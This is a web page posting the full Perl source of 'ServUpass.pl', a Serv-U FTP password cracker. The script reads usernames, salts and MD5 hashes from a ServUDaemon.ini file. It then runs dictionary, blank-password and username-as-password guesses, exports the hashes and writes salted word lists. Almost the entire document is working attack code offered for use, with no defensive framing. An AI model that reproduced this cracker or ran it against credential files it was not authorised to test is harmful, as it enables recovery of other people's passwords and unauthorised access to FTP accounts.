Serv-U FTP Password Cracker

#!/usr/bin/perl
use Getopt::Long;
use Digest::MD5 qw(md5_hex);

# ServUpass.pl - Serv-U Password Cracker+ v1.0
# By Dustin K. Dykes (wirefall)
#
# Developed using multiple ServUDaemon.ini files found posted on the net
# I don't know if it works against all versions or even different
# installations of the same version.
#
# The -i option is required. If a dictionary file (-d) is not specified
# then a default list will be used instead.
# Note: This script does NOT escape special characters in input files.

if (!$ARGV[0])
  {
  help();
  }

GetOptions ('i=s', 'd=s', 'e=s', 'o=s', 'm=s', 'b!', 'u!', 'n!', 'h!');

if ($opt_h)
  {
  help();
  }

open(IN, "<$opt_i") || die "\nYou must specify a Serv-U ini file\n";

if ($opt_d)
  {
  open(DIC, "<$opt_d") || die "\nCannot open dictionary file $opt_d\n";
  @DICTIONARY = (<DIC>);
  close(DIC);
  }
else
  {
  @DICTIONARY = ("changeme", "password", "test", "letmein", "admin");
  }

#get usernames, salts, and hashes from ServU ini file.
$rHoH = process_ini();

#export file in the format username:hash for importing into other crackers
if ($opt_e)
  {
  open(EXPORT, ">$opt_e") || die "\nCannot open export file $opt_e\n";
  for $user (keys %$rHoH)
    {
    $hash = $rHoH->{$user}->{'hash'};
    print EXPORT "$user:$hash\n";
    }
  close (EXPORT);
  }

#take current dictionary and create a new "mangled" dictionary for each salt
#named salt.(value of -m) with the salt added to the begining of each word
if ($opt_m)
  {
  for $user (keys %$rHoH)
    {
    $salt = $rHoH->{$user}->{'salt'};
    open (TEMP_DIC, ">$salt.$opt_m");
    for (@DICTIONARY)
      {
      chomp;
      print TEMP_DIC "$salt$_\n";
      }
    close (TEMP_DIC);
    }
  }

if ($opt_o)
  {
  open(PASS, ">>$opt_o") || die "\nCannot open output file $opt_o\n";
  }

#unless (n)o cracking specified, then attempt to crack the passwords
if (!$opt_n)
  {
  for $user (keys %$rHoH)
   {
   $salt = $rHoH->{$user}->{'salt'};
   $pass_hash = $rHoH->{$user}->{'hash'};
   #if option to try username as password is selected
   if ($opt_u)
    {
    if ($pass_hash eq uc(md5_hex "$salt$user"))
      {
      $found{$user} = "$user:$user\n";
      }
    }
    #if option to try blank password is selected
    if ($opt_b)
      {
      if ($pass_hash eq uc(md5_hex "$salt"))
        {
        $found{$user} = "$user:\n";
        }
      }
  #Try a dictionary attack against each hash.
  #Note: This script doesn't escape special characters.
  for (@DICTIONARY)
    {
    chomp;
    $try = "$_";
    $try_hash = uc(md5_hex "$salt$try");
    if ($pass_hash eq $try_hash)
      {
      $found{$user} = "$user:$try\n";
      }
    }
  }
 # print uniq'd findings
 for $cracked (keys %found)
  {
  print "$found{$cracked}";
    if ($opt_o)
      {
      print PASS "$found{$cracked}";
      }
  }
}
close(PASS);

sub process_ini
{
 while (<IN>)
  {
  chomp;
  #get username from ini file given the format "[USER=username|1]"
  if ($_=~/^\[USER=/)
    {
    ($user)  = /=(.+?)\|/;
    }
  #get salt and hash from ini file given the format
  #"Password=saltHASH, e.g. suAD644B28CBC9E82B7F1C9E358F7AF584"
  #salts are lowercase, hashes are uppercase
  if ($_=~/^Password=/)
    {
    $HoH{$user}{'salt'} = substr($_, 9, 2);
    $HoH{$user}{'hash'} = substr($_, 11, 34);
    }
  }
 close (IN);
 return \%HoH;
}

sub help
  {
  print "\n
  ServUpass.pl - Serv-U Password Cracker+ v1.0\n
  Dictionary attack on salted Serv-U MD5 passwords\n
  REQUIRED\n
  \t-i <filename>: (i)ni containing passwords and hashes\n
  OPTIONS\n
  \t-d <filename>: (d)ictionary to be used. (one word per line).\n
  \t-e <filename>: (e)xported username:hash.\n
  \t-o <filename>: (o)utput cracked username:password.\n
  \t-m <filename>: (m)angled dictionary files seed name.\n
  \t-b : Try (b)lank password.\n
  \t-u : Try (u)sername as password.\n
  \t-n : Do (n)ot attempt to crack passwords.\n
  \t-h : Not much (h)elp.\n\n
  This script does NOT escape special characters in input files.\n
  ";
  exit;
  }

Leave a Reply

Your email address will not be published. Required fields are marked *